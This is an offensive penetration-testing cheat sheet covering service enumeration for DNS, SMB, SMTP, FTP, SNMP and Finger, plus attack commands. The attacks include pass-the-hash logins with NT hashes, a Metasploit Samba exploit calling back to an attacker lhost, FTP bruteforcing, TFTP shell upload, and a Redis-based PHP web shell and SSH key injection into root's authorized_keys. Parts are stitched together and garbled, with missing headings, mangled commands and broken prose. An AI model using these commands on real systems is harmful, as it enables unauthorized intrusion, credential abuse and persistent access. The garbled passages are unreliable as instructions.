Unicornscan supports asynchronous scans, speeding port scans on all 65535 ports. Nmap has powerful features that unicornscan does not have. With onetwopunch, unicornscan is used first to identify open ports, and then those ports are passed to nmap to perform further enumeration.
NSE scripts that scans for vulnerabilities are at ls -l /usr/share/nmap/scripts/*vuln*.
nmap -p 80 --script=all $ip - Scan a target using all NSE scripts. May take an hour to complete.
nmap -p 80 --script=*vuln* $ip - Scan a target using all NSE vuln scripts.
nmap -p 80 --script=http*vuln* $ip - Scan a target using all HTTP vulns NSE scripts.
nmap -p 21 --script=ftp-anon $ip/24 - Scan entire network for FTP servers that allow anonymous access.
nmap -p 80 --script=http-vuln-cve2010-2861 $ip/24 - Scan entire network for a directory traversal vulnerability. It can even retrieve admin's password hash.
Search services vulnerabilities
searchsploit --exclude=dos -t apache 2.2.3
msfconsole; > search apache 2.2.3
DNS
Find name servers
host -t ns $ip
fierce
fierce -dns $domain
Find email servers
host -t mx $ip
Subdomain bruteforcing
for ip in $(cat list.txt); do host $ip.$website; done
Reverse dns lookup bruteforcing
for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"
Zone transfer request
When initialising a zone transfer, the attacker will first need to know the name of the zone which they are targeting and then specify the IP address of the DNS server to perform the zone transfer against.
Below is a zone transfer against an open DNS server. You can use either of the commands below:
The ‘@’ symbol is used to specify the target DNS server
host -l $ip ns1.$ip
dnsrecon -d $ip -t axfr
Finds nameservers for a given domain
host -t ns $ip| cut -d " " -f 4 #
dnsenum $ip
Nmap zone transfer scan
nmap $ip --script=dns-zone-transfer -p 53
Finds the domain names for a host.
whois $ip
Find the IP and authoritative servers.
nslookup $ip
Finds miss configure DNS entries.
host -t ns $ip
TheHarvester finds subdomains in google, bing, etc
python theHarvester.py -l 500 -b all -d $ip
SMB and SAMBA
Server Message Block (SMB) Protocol is a network file sharing protocol, and as implemented in Microsoft Windows
Samba has provided secure, stable and fast file and print services for all clients using the SMB/CIFS protocol, such as all versions of DOS and Windows, OS/2, Linux and many others
SMB Version
Windows version
CIFS
Microsoft Windows NT 4.0
SMB 1.0
Windows 2000, Windows XP, Windows Server 2003 and Windows Server 2003 R2
SMB 2.0
Windows Vista & Windows Server 2008
SMB 2.1
Windows 7 and Windows Server 2008 R2
SMB 3.0
Windows 8 and Windows Server 2012
SMB 3.0.2
Windows 8.1 and Windows Server 2012 R2
SMB 3.1.1
Windows 10 and Windows Server 2016
SMB uses the following TCP and UDP ports:
netbios-ns 137/tcp # NETBIOS Name Service
netbios-ns 137/udp
netbios-dgm 138/tcp # NETBIOS Datagram Service
netbios-dgm 138/udp
netbios-ssn 139/tcp # NETBIOS session service
netbios-ssn 139/udp
microsoft-ds 445/tcp # if you are using Active Directory
Checklist
Enumerate Hostname - nmblookup -A $ip
List Shares
smbmap -H $ip
echo exit | smbclient -L \\\\$ip
nmap --script smb-enum-shares -p 139,445 $ip
Check Null Sessions
smbmap -H $ip
rpcclient -U "" -N $ip
smbclient \\\\$ip\\[share name]
Check for Vulnerabilities - nmap --script smb-vuln* -p 139,445 $ip
mblookup — NetBIOS over TCP/IP client used to lookup NetBIOS names
Scanning for the NetBIOS Service
SMB NetBIOS service listens on TCP ports 139 and 445, as well as several UDP ports.
nmap -p 139,445 --open -oG smb.txt 192.168.1.0/24
nbtscan -r 192.168.1.0/24
Null Session Enumeration
Vulnerable SMB Versions
Vulnerable versions:
Windows NT, 2000, and XP (most SMB1) - VULNERABLE: Null Sessions can be created by default
Windows 2003, and XP SP2 onwards - NOT VULNERABLE: Null Sessions can't be created default
Most Samba (Unix) servers
List of SMB versions and corresponding Windows versions:
SMB1 – Windows 2000, XP and Windows 2003.
SMB2 – Windows Vista SP1 and Windows 2008
SMB2.1 – Windows 7 and Windows 2008 R2
SMB3 – Windows 8 and Windows 2012.
Empty LM and NTLM hashes:
Empty LM Hash: aad3b435b51404eeaad3b435b51404ee
Empty NT Hash: 31d6cfe0d16ae931b73c59d7e0c089c0
rpcclient
Manually probe a SMB server
rpcclient -U '' $ip
Password:
rpcclient $> srvinfo # operating system version
rpcclient $> netshareenumall # enumerate all shares and its paths
rpcclient $> enumdomusers # enumerate usernames defined on the server
rpcclient $> getdompwinfo # smb password policy configured on the server
Wrapper around smb programs like rpcclient to automate enumerating an SMB server. Produces tons of results when a null session is successful. NOTE: Make sure to downgrade rpcclient before using.
enum4linux -a $ip
enum4linux -u 'guest' -p '' -a $ip
CrackMapExec
Works perfectly, list shares and permissions, enum users, disks, code execute and run modules like mimikatz. Hashes work. Also will tell you exact version of Windows
generally works a bit better than enum4linux as it enum4linux tends to error out a bit
downloads to the /usr/share/smbmap directory
smb: \> RECURSE ON
smb: \> PROMPT OFF
smb: \> mget *
Download all
smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q #downloads a file in quiet mode
smbmap -R $sharename -H $ip #Recursively list dirs, and files
smbmap -H $ip
default port it checks is 445, use -P 139 to point it at that port if 445 fails
smbclient
Access SMB shares interactively, seems to work with anonymous access. Hashes don't work.
smbclient //$ip/wwwroot
smbclient //$ip/C$ WIN20082017 -U Administrator
smbclient //$ip/C$ A433F6C2B0D8BB92D7288ECFFACFC7CD -U Administrator --pw-nt-hash # make sure to only use the NT portion of the hash
WARNING, be careful when using the get command to download absolute path files from the remote system. Eg. get /etc/passwd will download the passwd file and overwrite YOUR /etc/passwd. Use get /etc/passwd /tmp/passwd instead.
To download recursively:
# Within smbclient, download everything recursively:
mask ""
recurse ON
prompt OFF
cd 'path\to\remote\dir'
lcd '~/path/to/download/to/'
mget *
pth-winexe
Works great sometimes. Can open a windows cmd shell.
pth-winexe -U administrator%WIN20082017 //$ipcmd # using a plaintext password
pth-winexe -U Administrator%A433F6C2B0D8BB92D7288ECFFACFC7CD //$ipcmd # ntlm hash encrypted with https://www.browserling.com/tools/ntlm-hash
pth-winexe -U domain/user%A433F6C2B0D8BB92D7288ECFFACFC7CD //$ipcmd # domain user
pth-winexe -U Administrator%8F49412C8D29DF02FB62879E33FBB745:A433F6C2B0D8BB92D7288ECFFACFC7CD //$ip cmd # lm+ntlm hash encrypted with https://asecuritysite.com/encryption/lmhash
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:A433F6C2B0D8BB92D7288ECFFACFC7CD //$ip cmd # ntlm hash + empty lm hash
# or
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
pth-winexe -U Administrator% //$ip cmd
smbenum.sh
#!/bin/bash
#SMB Enumeration using nmap
#(c) Mike Digital Offensive
if [ -z "$1" ]
then
echo "Error please provide host to enumerate"
exit
else
nmap -script=smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse $1
fi
Samba version checker
smbver.sh
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
nmblookup -A $ip
enum4linux -a $ip
Used to enumerate data from Windows and Samba hosts and is a wrapper for smbclient, rpcclient, net and nmblookup
Look for users, groups, shares, workgroup/domains and password policies
list smb nmap scripts
locate .nse | grep smb
find SAMBA version number using the SMB OS discovery script:
nmap -A $ip -p139
then google to see if version is vulnerable
SAMBA 3.x-4.x # vulnerable to linux/samba/is_known_pipename
SAMBA 3.5.11 # vulnerable to linux/samba/is_known_pipename
Rid Enum is a RID cycling attack that attempts to enumerate user accounts through null sessions and the SID to RID enum. If you specify a password file, it will automatically attempt to brute force the user accounts when its finished enumerating.
https://tools.kali.org/maintaining-access/ridenum
Null Session
A null SMB session can be used to gather passwords and useful information from SMB 1 by looking in shares that are not password protected for interesting files. Windows NT/2000 XP default settings allow this. Windows 2003/XP SP2 SMB this behaviour is disabled.
Null session and extract information.
nbtscan -r $ip
Version
msfconsole; use auxiliary/scanner/smb/smb_version; set RHOSTS $ip; run
MultiExploit
msfconsole; use exploit/multi/samba/usermap_script; set lhost 10.10.14.x; set rhost $ip; run
HELO
It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name.
EHLO
An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol.
MAIL FROM
With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer.
RCPT TO
It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address.
SIZE
This SMTP command informs the remote server about the estimated size (in terms of bytes) of the attached email. It can also be used to report the maximum size of a message to be accepted by the server.
DATA
With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission.
VRFY
The server is asked to verify whether a particular email address or username actually exists.
TURN
This command is used to invert roles between the client and the server, without the need to run a new connaction.
AUTH
With the AUTH command, the client authenticates itself to the server, giving its username and password. It’s another layer of security to guarantee a proper transmission.
RSET
It communicates the server that the ongoing email transmission is going to be terminated, though the SMTP conversation won’t be closed (like in the case of QUIT).
EXPN
This SMTP command asks for a confirmation about the identification of a mailing list.
HELP
It’s a client’s request for some information that can be useful for the a successful transfer of the email.
QUIT
It terminates the SMTP conversation.
for server in $(cat smtpmachines); do echo "******************" $server "*****************"; smtp-user-enum -M VRFY -U userlist.txt -t $server;done #for multiple servers
#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 2:
print "Usage: vrfy.py <username>"
sys.exit(0)
# Create a Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Server
connect = s.connect(('192.168.1.234',25))
# Receive the banner
banner = s.recv(1024)
print banner
# VRFY a user
s.send('VRFY ' + sys.argv[1] + '\r\n')
result = s.recv(1024)
print result
# Close the socket
s.close()
Command to check if a user exists
VRFY root
Command to ask the server if a user belongs to a mailing list
telnet $ip 25
EHLO root
MAIL FROM:root@target.com
RCPT TO:example@gmail.com
DATA
Subject: Testing open mail relay.
Testing SMTP open mail relay. Have a nice day.
.
QUIT
RPC (135)
Enumerate, shows if any NFS mount exposed:
rpcinfo -p $ip
Get a list of .exe's that are using either TCP UDP HTTP and SMB via named pipes
If anonymous login or any other login is allowed but you can't get Filezilla to open it. Play about with the connection settings, ACTIVE\PASSIVE\AUTO.
Bruteforce
hydra -l user -P /usr/share/john/password.lst ftp://$ip:21
Bruteforce with metasploit
msfconsole -q msf> search type:auxiliary login: msf> use auxiliary/scanner/ftp/ftp_login
Vuln scan
nmap --script=ftp-* -p 21 $ip
TFTP
If unauthenticated access is allowed with write permissions you can upload a shell:
tftp $ip
tftp> ls
?Invalid command
tftp> verbose
Verbose mode on.
tftp> put shell.php
Sent 3605 bytes in 0.0 seconds [inf bits/sec]
nmap -sU -p 69 --script tftp-enum.nse $ip
or
use auxiliary/scanner/tftp/tftpbrute
connecting/interacting:
tftp $ip
tftp> put payload.exe
tftp> get file.txt
SSH
User enumeration
use auxiliary/scanner/ssh/ssh_enumusers
set user_file /usr/share/wordlists/metasploit/unix_users.txt
or
set user_file /usr/share/seclists/Usernames/Names/names.txt
run
Community string too long
If you see this download onesixtyone from Github and run it there
v1
snmp-check -t $ip -c public
use nmap to enumerate info
nmap -sU -p161 --script "snmp-*" $ip
snmpwalk
apt install snmp-mibs-downloader #translates MIBs into readable format
for community in public private manager; do snmpwalk -c $community -v1 $ip; done
snmpwalk -c public -v1 $ip
snmpenum $ip public windows.txt
Less noisy:
snmpwalk -c public -v1 $ip 1.3.6.1.4.1.77.1.2.25
Based on UDP, stateless and susceptible to UDP spoofing
nmap -sU --open -p 16110.1.1.1-254 -oG out.txt
snmpwalk -c public -v1 10.1.1.1 # we need to know that there is a community called public
snmpwalk -c public -v1 192.168.11.204 1.3.6.1.4.1.77.1.2.25 # enumerate windows users
snmpwalk -c public -v1 192.168.11.204 1.3.6.1.2.1.25.4.2.1.2 # enumerates running processes
telnet $ip 110
USER uer@$ip
PASS admin
list
retr 1
Finger
port 79
https://touhidshaikh.com/blog/?p=914
Find Logged in users on target.
finger @$ip
if there is no user logged in this will show no username
Check User is existed or not.
finger $username@$ip
The finger command is very useful for checking users on target but it’s painful if brute-forced for a username.
Using Metasploit fo Brute-force target
use auxiliary/scanner/finger/finger_users
set rhosts $ip
set users_file
run
cd /tmp/
wget http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz
tar -xvf finger-user-enum-1.0.tar.gz
cd finger-user-enum-1.0
perl finger-user-enum.pl -t 10.22.1.11 -U /tmp/rockyou-top1000.txt
First, the web server on the server broadcasts, including a simple PHP code and create a back door, which will help us to execute commands on the server.
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
CONFIG GET dbfilename
1) "dbfilename"
2) "shell.php"
SET cmd "<?php system($_GET['cmd']); ?>"
OK
BGSAVE
which can be accessed using
http://$ip/shell.php?cmd=whoami
www-data
Upload SSH key
Second, file type found in the users home directory because it is our right and remote SSH access with a key instead of using the password used to connect to create key, they may be directly un-encrypted user rights that provide access to the system.
1: ssh-keygen -t rsa
2:
3: (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
4:
5: cat auth_key | redis-cli -h hostname -x set crackit
6: redis-cli -h hostname
7:
8: config set dir /root/.ssh/
9: config get dir
10: config set dbfilename "authorized_keys"
11: save
12:
13: config set dir /home/user/.ssh/
14: save
15:
16: config set dir /home/admin/.ssh/
17:
18: ssh user@kevgir -p 1322 -i id_rsa
1 - He has given parameters in line with a 2048-bit RSA key pair is generated. We can give it a password when we log in
3 - The public key of his own and to receive the new line last line auth_key name we are writing a new file. We will upload this file to the target machine via the Redis server.
5 and 6. data from the key input in the standard line that we say we do, and then take the memory contents auth_key entry Redis server.
8, 9, 10, 11 in which the location of the file content to be installed in the line number, which is stated to be added to the bottom of the file. SAVE transactions made by the commands are processed on the server side to make it happen.
13 and 16 lines in the root of the same process that we have done for other users in order to gain access with the privileges they also inside the ssh folder in the main folder authorized_keys are doing the same procedure for writing to file.
Simplest type of traffic redirection, consists on accepting traffic from one address and port port and redirecting it to another address and port.
It can be useful to bypass address and port based filters. Rinetd is a linux tool to do it.
Local port forwarding
Creates an encrypted tunnel through two machines and have traffic redirected to a final host and port, similar to port forwarding This is useful when you are trying to connect from your machine to a destination using a gateway. The syntax is:
It creates a tunnel from the target machine to your local machine, which allows connecting to an arbitrary port on the target. Useful if the target is in a non-routable network from your local machine. This is useful when you are trying to connect to a host, behind a firewall that blocks incoming connections. This technique works as the previous one, but the connection is started from the gateway. The syntax is:
ssh <gateway> -R <remote port to bind>:<local host>:<local port>
Dynamic Port Forwarding
Allows to create a tunnel from the target to your machine, and have the traffic routed to any host through target. You can configure a local port to forward traffic to multiple destinations passing through a single host. It is similar to local port forwarding but allows multiple destinations. It uses the SOCKS protocol. The syntax is:
ssh -D local_port remote_add
The connection of the previous command is established at port 22 of remote addr.